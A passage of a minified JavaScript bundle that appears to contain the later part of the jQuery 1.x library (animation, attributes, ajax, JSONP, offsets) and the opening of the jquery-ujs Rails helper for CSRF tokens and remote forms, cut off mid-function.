e?it.extend({},e):{complete:n||!n&&t||it.isFunction(e)&&e,duration:e,easing:n&&t||t&&!it.isFunction(t)&&t};return r.duration=it.fx.off?0:"number"==typeof r.duration?r.duration:r.duration in it.fx.speeds?it.fx.speeds[r.duration]:it.fx.speeds._default,(null==r.queue||r.queue===!0)&&(r.queue="fx"),r.old=r.complete,r.complete=function(){it.isFunction(r.old)&&r.old.call(this),r.queue&&it.dequeue(this,r.queue)},r},it.fn.extend({fadeTo:function(e,t,n,r){return this.filter(jt).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=it.isEmptyObject(e),o=it.speed(t,n,r),a=function(){var t=R(this,it.extend({},e),o);(i||it._data(this,"finish"))&&t.stop(!0)};return a.finish=a,i||o.queue===!1?this.each(a):this.queue(o.queue,a)},stop:function(e,t,n){var r=function(e){var t=e.stop;delete e.stop,t(n)};return"string"!=typeof e&&(n=t,t=e,e=void 0),t&&e!==!1&&this.queue(e||"fx",[]),this.each(function(){var t=!0,i=null!=e&&e+"queueHooks",o=it.timers,a=it._data(this);if(i)a[i]&&a[i].stop&&r(a[i]);else for(i in a)a[i]&&a[i].stop&&yn.test(i)&&r(a[i]);for(i=o.length;i--;)o[i].elem!==this||null!=e&&o[i].queue!==e||(o[i].anim.stop(n),t=!1,o.splice(i,1));(t||!n)&&it.dequeue(this,e)})},finish:function(e){return e!==!1&&(e=e||"fx"),this.each(function(){var t,n=it._data(this),r=n[e+"queue"],i=n[e+"queueHooks"],o=it.timers,a=r?r.length:0;for(n.finish=!0,it.queue(this,e,[]),i&&i.stop&&i.stop.call(this,!0),t=o.length;t--;)o[t].elem===this&&o[t].queue===e&&(o[t].anim.stop(!0),o.splice(t,1));for(t=0;a>t;t++)r[t]&&r[t].finish&&r[t].finish.call(this);delete n.finish})}}),it.each(["toggle","show","hide"],function(e,t){var n=it.fn[t];it.fn[t]=function(e,r,i){return null==e||"boolean"==typeof e?n.apply(this,arguments):this.animate(q(t,!0),e,r,i)}}),it.each({slideDown:q("show"),slideUp:q("hide"),slideToggle:q("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,t){it.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),it.timers=[],it.fx.tick=function(){var e,t=it.timers,n=0;for(hn=it.now();n<t.length;n++)e=t[n],e()||t[n]!==e||t.splice(n--,1);t.length||it.fx.stop(),hn=void 0},it.fx.timer=function(e){it.timers.push(e),e()?it.fx.start():it.timers.pop()},it.fx.interval=13,it.fx.start=function(){mn||(mn=setInterval(it.fx.tick,it.fx.interval))},it.fx.stop=function(){clearInterval(mn),mn=null},it.fx.speeds={slow:600,fast:200,_default:400},it.fn.delay=function(e,t){return e=it.fx?it.fx.speeds[e]||e:e,t=t||"fx",this.queue(t,function(t,n){var r=setTimeout(t,e);n.stop=function(){clearTimeout(r)}})},function(){var e,t,n,r,i;t=ht.createElement("div"),t.setAttribute("className","t"),t.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",r=t.getElementsByTagName("a")[0],n=ht.createElement("select"),i=n.appendChild(ht.createElement("option")),e=t.getElementsByTagName("input")[0],r.style.cssText="top:1px",nt.getSetAttribute="t"!==t.className,nt.style=/top/.test(r.getAttribute("style")),nt.hrefNormalized="/a"===r.getAttribute("href"),nt.checkOn=!!e.value,nt.optSelected=i.selected,nt.enctype=!!ht.createElement("form").enctype,n.disabled=!0,nt.optDisabled=!i.disabled,e=ht.createElement("input"),e.setAttribute("value",""),nt.input=""===e.getAttribute("value"),e.value="t",e.setAttribute("type","radio"),nt.radioValue="t"===e.value}();var wn=/\r/g;it.fn.extend({val:function(e){var t,n,r,i=this[0];{if(arguments.length)return r=it.isFunction(e),this.each(function(n){var i;1===this.nodeType&&(i=r?e.call(this,n,it(this).val()):e,null==i?i="":"number"==typeof i?i+="":it.isArray(i)&&(i=it.map(i,function(e){return null==e?"":e+""})),t=it.valHooks[this.type]||it.valHooks[this.nodeName.toLowerCase()],t&&"set"in t&&void 0!==t.set(this,i,"value")||(this.value=i))});if(i)return t=it.valHooks[i.type]||it.valHooks[i.nodeName.toLowerCase()],t&&"get"in t&&void 0!==(n=t.get(i,"value"))?n:(n=i.value,"string"==typeof n?n.replace(wn,""):null==n?"":n)}}}),it.extend({valHooks:{option:{get:function(e){var t=it.find.attr(e,"value");return null!=t?t:it.trim(it.text(e))}},select:{get:function(e){for(var t,n,r=e.options,i=e.selectedIndex,o="select-one"===e.type||0>i,a=o?null:[],s=o?i+1:r.length,l=0>i?s:o?i:0;s>l;l++)if(n=r[l],!(!n.selected&&l!==i||(nt.optDisabled?n.disabled:null!==n.getAttribute("disabled"))||n.parentNode.disabled&&it.nodeName(n.parentNode,"optgroup"))){if(t=it(n).val(),o)return t;a.push(t)}return a},set:function(e,t){for(var n,r,i=e.options,o=it.makeArray(t),a=i.length;a--;)if(r=i[a],it.inArray(it.valHooks.option.get(r),o)>=0)try{r.selected=n=!0}catch(s){r.scrollHeight}else r.selected=!1;return n||(e.selectedIndex=-1),i}}}}),it.each(["radio","checkbox"],function(){it.valHooks[this]={set:function(e,t){return it.isArray(t)?e.checked=it.inArray(it(e).val(),t)>=0:void 0}},nt.checkOn||(it.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})});var Tn,En,kn=it.expr.attrHandle,Cn=/^(?:checked|selected)$/i,Nn=nt.getSetAttribute,Sn=nt.input;it.fn.extend({attr:function(e,t){return At(this,it.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){it.removeAttr(this,e)})}}),it.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(e&&3!==o&&8!==o&&2!==o)return typeof e.getAttribute===Et?it.prop(e,t,n):(1===o&&it.isXMLDoc(e)||(t=t.toLowerCase(),r=it.attrHooks[t]||(it.expr.match.bool.test(t)?En:Tn)),void 0===n?r&&"get"in r&&null!==(i=r.get(e,t))?i:(i=it.find.attr(e,t),null==i?void 0:i):null!==n?r&&"set"in r&&void 0!==(i=r.set(e,n,t))?i:(e.setAttribute(t,n+""),n):void it.removeAttr(e,t))},removeAttr:function(e,t){var n,r,i=0,o=t&&t.match(bt);if(o&&1===e.nodeType)for(;n=o[i++];)r=it.propFix[n]||n,it.expr.match.bool.test(n)?Sn&&Nn||!Cn.test(n)?e[r]=!1:e[it.camelCase("default-"+n)]=e[r]=!1:it.attr(e,n,""),e.removeAttribute(Nn?n:r)},attrHooks:{type:{set:function(e,t){if(!nt.radioValue&&"radio"===t&&it.nodeName(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}}}),En={set:function(e,t,n){return t===!1?it.removeAttr(e,n):Sn&&Nn||!Cn.test(n)?e.setAttribute(!Nn&&it.propFix[n]||n,n):e[it.camelCase("default-"+n)]=e[n]=!0,n}},it.each(it.expr.match.bool.source.match(/\w+/g),function(e,t){var n=kn[t]||it.find.attr;kn[t]=Sn&&Nn||!Cn.test(t)?function(e,t,r){var i,o;return r||(o=kn[t],kn[t]=i,i=null!=n(e,t,r)?t.toLowerCase():null,kn[t]=o),i}:function(e,t,n){return n?void 0:e[it.camelCase("default-"+t)]?t.toLowerCase():null}}),Sn&&Nn||(it.attrHooks.value={set:function(e,t,n){return it.nodeName(e,"input")?void(e.defaultValue=t):Tn&&Tn.set(e,t,n)}}),Nn||(Tn={set:function(e,t,n){var r=e.getAttributeNode(n);return r||e.setAttributeNode(r=e.ownerDocument.createAttribute(n)),r.value=t+="","value"===n||t===e.getAttribute(n)?t:void 0}},kn.id=kn.name=kn.coords=function(e,t,n){var r;return n?void 0:(r=e.getAttributeNode(t))&&""!==r.value?r.value:null},it.valHooks.button={get:function(e,t){var n=e.getAttributeNode(t);return n&&n.specified?n.value:void 0},set:Tn.set},it.attrHooks.contenteditable={set:function(e,t,n){Tn.set(e,""===t?!1:t,n)}},it.each(["width","height"],function(e,t){it.attrHooks[t]={set:function(e,n){return""===n?(e.setAttribute(t,"auto"),n):void 0}}})),nt.style||(it.attrHooks.style={get:function(e){return e.style.cssText||void 0},set:function(e,t){return e.style.cssText=t+""}});var jn=/^(?:input|select|textarea|button|object)$/i,An=/^(?:a|area)$/i;it.fn.extend({prop:function(e,t){return At(this,it.prop,e,t,arguments.length>1)},removeProp:function(e){return e=it.propFix[e]||e,this.each(function(){try{this[e]=void 0,delete this[e]}catch(t){}})}}),it.extend({propFix:{"for":"htmlFor","class":"className"},prop:function(e,t,n){var r,i,o,a=e.nodeType;if(e&&3!==a&&8!==a&&2!==a)return o=1!==a||!it.isXMLDoc(e),o&&(t=it.propFix[t]||t,i=it.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=it.find.attr(e,"tabindex");return t?parseInt(t,10):jn.test(e.nodeName)||An.test(e.nodeName)&&e.href?0:-1}}}}),nt.hrefNormalized||it.each(["href","src"],function(e,t){it.propHooks[t]={get:function(e){return e.getAttribute(t,4)}}}),nt.optSelected||(it.propHooks.selected={get:function(e){var t=e.parentNode;return t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex),null}}),it.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){it.propFix[this.toLowerCase()]=this}),nt.enctype||(it.propFix.enctype="encoding");var Dn=/[\t\r\n\f]/g;it.fn.extend({addClass:function(e){var t,n,r,i,o,a,s=0,l=this.length,u="string"==typeof e&&e;if(it.isFunction(e))return this.each(function(t){it(this).addClass(e.call(this,t,this.className))});if(u)for(t=(e||"").match(bt)||[];l>s;s++)if(n=this[s],r=1===n.nodeType&&(n.className?(" "+n.className+" ").replace(Dn," "):" ")){for(o=0;i=t[o++];)r.indexOf(" "+i+" ")<0&&(r+=i+" ");a=it.trim(r),n.className!==a&&(n.className=a)}return this},removeClass:function(e){var t,n,r,i,o,a,s=0,l=this.length,u=0===arguments.length||"string"==typeof e&&e;if(it.isFunction(e))return this.each(function(t){it(this).removeClass(e.call(this,t,this.className))});if(u)for(t=(e||"").match(bt)||[];l>s;s++)if(n=this[s],r=1===n.nodeType&&(n.className?(" "+n.className+" ").replace(Dn," "):"")){for(o=0;i=t[o++];)for(;r.indexOf(" "+i+" ")>=0;)r=r.replace(" "+i+" "," ");a=e?it.trim(r):"",n.className!==a&&(n.className=a)}return this},toggleClass:function(e,t){var n=typeof e;return"boolean"==typeof t&&"string"===n?t?this.addClass(e):this.removeClass(e):this.each(it.isFunction(e)?function(n){it(this).toggleClass(e.call(this,n,this.className,t),t)}:function(){if("string"===n)for(var t,r=0,i=it(this),o=e.match(bt)||[];t=o[r++];)i.hasClass(t)?i.removeClass(t):i.addClass(t);else(n===Et||"boolean"===n)&&(this.className&&it._data(this,"__className__",this.className),this.className=this.className||e===!1?"":it._data(this,"__className__")||"")})},hasClass:function(e){for(var t=" "+e+" ",n=0,r=this.length;r>n;n++)if(1===this[n].nodeType&&(" "+this[n].className+" ").replace(Dn," ").indexOf(t)>=0)return!0;return!1}}),it.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(e,t){it.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),it.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)},bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}});var Ln=it.now(),Hn=/\?/,_n=/(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g;it.parseJSON=function(t){if(e.JSON&&e.JSON.parse)return e.JSON.parse(t+"");var n,r=null,i=it.trim(t+"");return i&&!it.trim(i.replace(_n,function(e,t,i,o){return n&&t&&(r=0),0===r?e:(n=i||t,r+=!o-!i,"")}))?Function("return "+i)():it.error("Invalid JSON: "+t)},it.parseXML=function(t){var n,r;if(!t||"string"!=typeof t)return null;try{e.DOMParser?(r=new DOMParser,n=r.parseFromString(t,"text/xml")):(n=new ActiveXObject("Microsoft.XMLDOM"),n.async="false",n.loadXML(t))}catch(i){n=void 0}return n&&n.documentElement&&!n.getElementsByTagName("parsererror").length||it.error("Invalid XML: "+t),n};var qn,Fn,Mn=/#.*$/,On=/([?&])_=[^&]*/,Rn=/^(.*?):[ \t]*([^\r\n]*)\r?$/gm,Bn=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Pn=/^(?:GET|HEAD)$/,In=/^\/\//,Wn=/^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,$n={},zn={},Xn="*/".concat("*");try{Fn=location.href}catch(Un){Fn=ht.createElement("a"),Fn.href="",Fn=Fn.href}qn=Wn.exec(Fn.toLowerCase())||[],it.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Fn,type:"GET",isLocal:Bn.test(qn[1]),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Xn,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":it.parseJSON,"text xml":it.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?I(I(e,it.ajaxSettings),t):I(it.ajaxSettings,e)},ajaxPrefilter:B($n),ajaxTransport:B(zn),ajax:function(e,t){function n(e,t,n,r){var i,c,v,y,x,T=t;2!==b&&(b=2,s&&clearTimeout(s),u=void 0,a=r||"",w.readyState=e>0?4:0,i=e>=200&&300>e||304===e,n&&(y=W(d,w,n)),y=$(d,y,w,i),i?(d.ifModified&&(x=w.getResponseHeader("Last-Modified"),x&&(it.lastModified[o]=x),x=w.getResponseHeader("etag"),x&&(it.etag[o]=x)),204===e||"HEAD"===d.type?T="nocontent":304===e?T="notmodified":(T=y.state,c=y.data,v=y.error,i=!v)):(v=T,(e||!T)&&(T="error",0>e&&(e=0))),w.status=e,w.statusText=(t||T)+"",i?h.resolveWith(f,[c,T,w]):h.rejectWith(f,[w,T,v]),w.statusCode(g),g=void 0,l&&p.trigger(i?"ajaxSuccess":"ajaxError",[w,d,i?c:v]),m.fireWith(f,[w,T]),l&&(p.trigger("ajaxComplete",[w,d]),--it.active||it.event.trigger("ajaxStop")))}"object"==typeof e&&(t=e,e=void 0),t=t||{};var r,i,o,a,s,l,u,c,d=it.ajaxSetup({},t),f=d.context||d,p=d.context&&(f.nodeType||f.jquery)?it(f):it.event,h=it.Deferred(),m=it.Callbacks("once memory"),g=d.statusCode||{},v={},y={},b=0,x="canceled",w={readyState:0,getResponseHeader:function(e){var t;if(2===b){if(!c)for(c={};t=Rn.exec(a);)c[t[1].toLowerCase()]=t[2];t=c[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return 2===b?a:null},setRequestHeader:function(e,t){var n=e.toLowerCase();return b||(e=y[n]=y[n]||e,v[e]=t),this},overrideMimeType:function(e){return b||(d.mimeType=e),this},statusCode:function(e){var t;if(e)if(2>b)for(t in e)g[t]=[g[t],e[t]];else w.always(e[w.status]);return this},abort:function(e){var t=e||x;return u&&u.abort(t),n(0,t),this}};if(h.promise(w).complete=m.add,w.success=w.done,w.error=w.fail,d.url=((e||d.url||Fn)+"").replace(Mn,"").replace(In,qn[1]+"//"),d.type=t.method||t.type||d.method||d.type,d.dataTypes=it.trim(d.dataType||"*").toLowerCase().match(bt)||[""],null==d.crossDomain&&(r=Wn.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]===qn[1]&&r[2]===qn[2]&&(r[3]||("http:"===r[1]?"80":"443"))===(qn[3]||("http:"===qn[1]?"80":"443")))),d.data&&d.processData&&"string"!=typeof d.data&&(d.data=it.param(d.data,d.traditional)),P($n,d,t,w),2===b)return w;l=d.global,l&&0===it.active++&&it.event.trigger("ajaxStart"),d.type=d.type.toUpperCase(),d.hasContent=!Pn.test(d.type),o=d.url,d.hasContent||(d.data&&(o=d.url+=(Hn.test(o)?"&":"?")+d.data,delete d.data),d.cache===!1&&(d.url=On.test(o)?o.replace(On,"$1_="+Ln++):o+(Hn.test(o)?"&":"?")+"_="+Ln++)),d.ifModified&&(it.lastModified[o]&&w.setRequestHeader("If-Modified-Since",it.lastModified[o]),it.etag[o]&&w.setRequestHeader("If-None-Match",it.etag[o])),(d.data&&d.hasContent&&d.contentType!==!1||t.contentType)&&w.setRequestHeader("Content-Type",d.contentType),w.setRequestHeader("Accept",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+("*"!==d.dataTypes[0]?", "+Xn+"; q=0.01":""):d.accepts["*"]);for(i in d.headers)w.setRequestHeader(i,d.headers[i]);if(d.beforeSend&&(d.beforeSend.call(f,w,d)===!1||2===b))return w.abort();x="abort";for(i in{success:1,error:1,complete:1})w[i](d[i]);if(u=P(zn,d,t,w)){w.readyState=1,l&&p.trigger("ajaxSend",[w,d]),d.async&&d.timeout>0&&(s=setTimeout(function(){w.abort("timeout")},d.timeout));try{b=1,u.send(v,n)}catch(T){if(!(2>b))throw T;n(-1,T)}}else n(-1,"No Transport");return w},getJSON:function(e,t,n){return it.get(e,t,n,"json")},getScript:function(e,t){return it.get(e,void 0,t,"script")}}),it.each(["get","post"],function(e,t){it[t]=function(e,n,r,i){return it.isFunction(n)&&(i=i||r,r=n,n=void 0),it.ajax({url:e,type:t,dataType:i,data:n,success:r})}}),it.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){it.fn[t]=function(e){return this.on(t,e)}}),it._evalUrl=function(e){return it.ajax({url:e,type:"GET",dataType:"script",async:!1,global:!1,"throws":!0})},it.fn.extend({wrapAll:function(e){if(it.isFunction(e))return this.each(function(t){it(this).wrapAll(e.call(this,t))});if(this[0]){var t=it(e,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){for(var e=this;e.firstChild&&1===e.firstChild.nodeType;)e=e.firstChild;return e}).append(this)}return this},wrapInner:function(e){return this.each(it.isFunction(e)?function(t){it(this).wrapInner(e.call(this,t))}:function(){var t=it(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=it.isFunction(e);return this.each(function(n){it(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(){return this.parent().each(function(){it.nodeName(this,"body")||it(this).replaceWith(this.childNodes)}).end()}}),it.expr.filters.hidden=function(e){return e.offsetWidth<=0&&e.offsetHeight<=0||!nt.reliableHiddenOffsets()&&"none"===(e.style&&e.style.display||it.css(e,"display"))},it.expr.filters.visible=function(e){return!it.expr.filters.hidden(e)};var Vn=/%20/g,Gn=/\[\]$/,Yn=/\r?\n/g,Jn=/^(?:submit|button|image|reset|file)$/i,Kn=/^(?:input|select|textarea|keygen)/i;it.param=function(e,t){var n,r=[],i=function(e,t){t=it.isFunction(t)?t():null==t?"":t,r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(t)};if(void 0===t&&(t=it.ajaxSettings&&it.ajaxSettings.traditional),it.isArray(e)||e.jquery&&!it.isPlainObject(e))it.each(e,function(){i(this.name,this.value)});else for(n in e)z(n,e[n],t,i);return r.join("&").replace(Vn,"+")},it.fn.extend({serialize:function(){return it.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=it.prop(this,"elements");return e?it.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!it(this).is(":disabled")&&Kn.test(this.nodeName)&&!Jn.test(e)&&(this.checked||!Dt.test(e))}).map(function(e,t){var n=it(this).val();return null==n?null:it.isArray(n)?it.map(n,function(e){return{name:t.name,value:e.replace(Yn,"\r\n")}}):{name:t.name,value:n.replace(Yn,"\r\n")}}).get()}}),it.ajaxSettings.xhr=void 0!==e.ActiveXObject?function(){return!this.isLocal&&/^(get|post|head|put|delete|options)$/i.test(this.type)&&X()||U()}:X;var Qn=0,Zn={},er=it.ajaxSettings.xhr();e.ActiveXObject&&it(e).on("unload",function(){for(var e in Zn)Zn[e](void 0,!0)}),nt.cors=!!er&&"withCredentials"in er,er=nt.ajax=!!er,er&&it.ajaxTransport(function(e){if(!e.crossDomain||nt.cors){var t;return{send:function(n,r){var i,o=e.xhr(),a=++Qn;if(o.open(e.type,e.url,e.async,e.username,e.password),e.xhrFields)for(i in e.xhrFields)o[i]=e.xhrFields[i];e.mimeType&&o.overrideMimeType&&o.overrideMimeType(e.mimeType),e.crossDomain||n["X-Requested-With"]||(n["X-Requested-With"]="XMLHttpRequest");for(i in n)void 0!==n[i]&&o.setRequestHeader(i,n[i]+"");o.send(e.hasContent&&e.data||null),t=function(n,i){var s,l,u;if(t&&(i||4===o.readyState))if(delete Zn[a],t=void 0,o.onreadystatechange=it.noop,i)4!==o.readyState&&o.abort();else{u={},s=o.status,"string"==typeof o.responseText&&(u.text=o.responseText);try{l=o.statusText}catch(c){l=""}s||!e.isLocal||e.crossDomain?1223===s&&(s=204):s=u.text?200:404}u&&r(s,l,u,o.getAllResponseHeaders())},e.async?4===o.readyState?setTimeout(t):o.onreadystatechange=Zn[a]=t:t()},abort:function(){t&&t(void 0,!0)}}}}),it.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/(?:java|ecma)script/},converters:{"text script":function(e){return it.globalEval(e),e}}}),it.ajaxPrefilter("script",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET",e.global=!1)}),it.ajaxTransport("script",function(e){if(e.crossDomain){var t,n=ht.head||it("head")[0]||ht.documentElement;return{send:function(r,i){t=ht.createElement("script"),t.async=!0,e.scriptCharset&&(t.charset=e.scriptCharset),t.src=e.url,t.onload=t.onreadystatechange=function(e,n){(n||!t.readyState||/loaded|complete/.test(t.readyState))&&(t.onload=t.onreadystatechange=null,t.parentNode&&t.parentNode.removeChild(t),t=null,n||i(200,"success"))},n.insertBefore(t,n.firstChild)},abort:function(){t&&t.onload(void 0,!0)}}}});var tr=[],nr=/(=)\?(?=&|$)|\?\?/;it.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=tr.pop()||it.expando+"_"+Ln++;return this[e]=!0,e}}),it.ajaxPrefilter("json jsonp",function(t,n,r){var i,o,a,s=t.jsonp!==!1&&(nr.test(t.url)?"url":"string"==typeof t.data&&!(t.contentType||"").indexOf("application/x-www-form-urlencoded")&&nr.test(t.data)&&"data");return s||"jsonp"===t.dataTypes[0]?(i=t.jsonpCallback=it.isFunction(t.jsonpCallback)?t.jsonpCallback():t.jsonpCallback,s?t[s]=t[s].replace(nr,"$1"+i):t.jsonp!==!1&&(t.url+=(Hn.test(t.url)?"&":"?")+t.jsonp+"="+i),t.converters["script json"]=function(){return a||it.error(i+" was not called"),a[0]},t.dataTypes[0]="json",o=e[i],e[i]=function(){a=arguments},r.always(function(){e[i]=o,t[i]&&(t.jsonpCallback=n.jsonpCallback,tr.push(i)),a&&it.isFunction(o)&&o(a[0]),a=o=void 0}),"script"):void 0}),it.parseHTML=function(e,t,n){if(!e||"string"!=typeof e)return null;"boolean"==typeof t&&(n=t,t=!1),t=t||ht;var r=dt.exec(e),i=!n&&[];return r?[t.createElement(r[1])]:(r=it.buildFragment([e],t,i),i&&i.length&&it(i).remove(),it.merge([],r.childNodes))};var rr=it.fn.load;it.fn.load=function(e,t,n){if("string"!=typeof e&&rr)return rr.apply(this,arguments);var r,i,o,a=this,s=e.indexOf(" ");return s>=0&&(r=it.trim(e.slice(s,e.length)),e=e.slice(0,s)),it.isFunction(t)?(n=t,t=void 0):t&&"object"==typeof t&&(o="POST"),a.length>0&&it.ajax({url:e,type:o,dataType:"html",data:t}).done(function(e){i=arguments,a.html(r?it("<div>").append(it.parseHTML(e)).find(r):e)}).complete(n&&function(e,t){a.each(n,i||[e.responseText,t,e])}),this},it.expr.filters.animated=function(e){return it.grep(it.timers,function(t){return e===t.elem}).length};var ir=e.document.documentElement;it.offset={setOffset:function(e,t,n){var r,i,o,a,s,l,u,c=it.css(e,"position"),d=it(e),f={};"static"===c&&(e.style.position="relative"),s=d.offset(),o=it.css(e,"top"),l=it.css(e,"left"),u=("absolute"===c||"fixed"===c)&&it.inArray("auto",[o,l])>-1,u?(r=d.position(),a=r.top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(l)||0),it.isFunction(t)&&(t=t.call(e,n,s)),null!=t.top&&(f.top=t.top-s.top+a),null!=t.left&&(f.left=t.left-s.left+i),"using"in t?t.using.call(e,f):d.css(f)}},it.fn.extend({offset:function(e){if(arguments.length)return void 0===e?this:this.each(function(t){it.offset.setOffset(this,e,t)});var t,n,r={top:0,left:0},i=this[0],o=i&&i.ownerDocument;if(o)return t=o.documentElement,it.contains(t,i)?(typeof i.getBoundingClientRect!==Et&&(r=i.getBoundingClientRect()),n=V(o),{top:r.top+(n.pageYOffset||t.scrollTop)-(t.clientTop||0),left:r.left+(n.pageXOffset||t.scrollLeft)-(t.clientLeft||0)}):r},position:function(){if(this[0]){var e,t,n={top:0,left:0},r=this[0];return"fixed"===it.css(r,"position")?t=r.getBoundingClientRect():(e=this.offsetParent(),t=this.offset(),it.nodeName(e[0],"html")||(n=e.offset()),n.top+=it.css(e[0],"borderTopWidth",!0),n.left+=it.css(e[0],"borderLeftWidth",!0)),{top:t.top-n.top-it.css(r,"marginTop",!0),left:t.left-n.left-it.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){for(var e=this.offsetParent||ir;e&&!it.nodeName(e,"html")&&"static"===it.css(e,"position");)e=e.offsetParent;return e||ir})}}),it.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,t){var n=/Y/.test(t);it.fn[e]=function(r){return At(this,function(e,r,i){var o=V(e);return void 0===i?o?t in o?o[t]:o.document.documentElement[r]:e[r]:void(o?o.scrollTo(n?it(o).scrollLeft():i,n?i:it(o).scrollTop()):e[r]=i)},e,r,arguments.length,null)}}),it.each(["top","left"],function(e,t){it.cssHooks[t]=N(nt.pixelPosition,function(e,n){return n?(n=tn(e,t),rn.test(n)?it(e).position()[t]+"px":n):void 0})}),it.each({Height:"height",Width:"width"},function(e,t){it.each({padding:"inner"+e,content:t,"":"outer"+e},function(n,r){it.fn[r]=function(r,i){var o=arguments.length&&(n||"boolean"!=typeof r),a=n||(r===!0||i===!0?"margin":"border");return At(this,function(t,n,r){var i;return it.isWindow(t)?t.document.documentElement["client"+e]:9===t.nodeType?(i=t.documentElement,Math.max(t.body["scroll"+e],i["scroll"+e],t.body["offset"+e],i["offset"+e],i["client"+e])):void 0===r?it.css(t,n,a):it.style(t,n,r,a)},t,o?r:void 0,o,null)}})}),it.fn.size=function(){return this.length},it.fn.andSelf=it.fn.addBack,"function"==typeof define&&define.amd&&define("jquery",[],function(){return it});var or=e.jQuery,ar=e.$;return it.noConflict=function(t){return e.$===it&&(e.$=ar),t&&e.jQuery===it&&(e.jQuery=or),it},typeof t===Et&&(e.jQuery=e.$=it),it}),function(e,t){e.rails!==t&&e.error("jquery-ujs has already been loaded!");var n,r=e(document);e.rails=n={linkClickSelector:"a[data-confirm], a[data-method], a[data-remote], a[data-disable-with], a[data-disable]",buttonClickSelector:"button[data-remote], button[data-confirm]",inputChangeSelector:"select[data-remote], input[data-remote], textarea[data-remote]",formSubmitSelector:"form",formInputClickSelector:"form input[type=submit], form input[type=image], form button[type=submit], form button:not([type])",disableSelector:"input[data-disable-with]:enabled, button[data-disable-with]:enabled, textarea[data-disable-with]:enabled, input[data-disable]:enabled, button[data-disable]:enabled, textarea[data-disable]:enabled",enableSelector:"input[data-disable-with]:disabled, button[data-disable-with]:disabled, textarea[data-disable-with]:disabled, input[data-disable]:disabled, button[data-disable]:disabled, textarea[data-disable]:disabled",requiredInputSelector:"input[name][required]:not([disabled]),textarea[name][required]:not([disabled])",fileInputSelector:"input[type=file]",linkDisableSelector:"a[data-disable-with], a[data-disable]",buttonDisableSelector:"button[data-remote][data-disable-with], button[data-remote][data-disable]",CSRFProtection:function(t){var n=e('meta[name="csrf-token"]').attr("content");n&&t.setRequestHeader("X-CSRF-Token",n)},refreshCSRFTokens:function(){var t=e("meta[name=csrf-token]").attr("content"),n=e("meta[name=csrf-param]").attr("content");e('form input[name="'+n+'"]').val(t)},fire:function(t,n,r){var i=e.Event(n);return t.trigger(i,r),i.result!==!1},confirm:function(e){return confirm(e)},ajax:function(t){return e.ajax(t)},href:function(e){return e.attr("href")},handleRemote:function(r){var i,o,a,s,l,u,c,d;if(n.fire(r,"ajax:before")){if(s=r.data("cross-domain"),l=s===t?null:s,u=r.data("with-credentials")||null,c=r.data("type")||e.ajaxSettings&&e.ajaxSettings.dataType,r.is("form")){i=r.attr("method"),o=r.attr("action"),a=r.serializeArray();var f=r.data("ujs:submit-button");f&&(a.push(f),r.data("ujs:submit-button",null))}else r.is(n.inputChangeSelector)?(i=r.data("method"),o=r.data("url"),a=r.serialize(),r.data("params")&&(a=a+"&"+r.data("params"))):r.is(n.buttonClickSelector)?(i=r.data("method")||"get",o=r.data("url"),a=r.serialize(),r.data("params")&&(a=a+"&"+r.data("params"))):(i=r.data("method"),o=n.href(r),a=r.data("params")||null);return 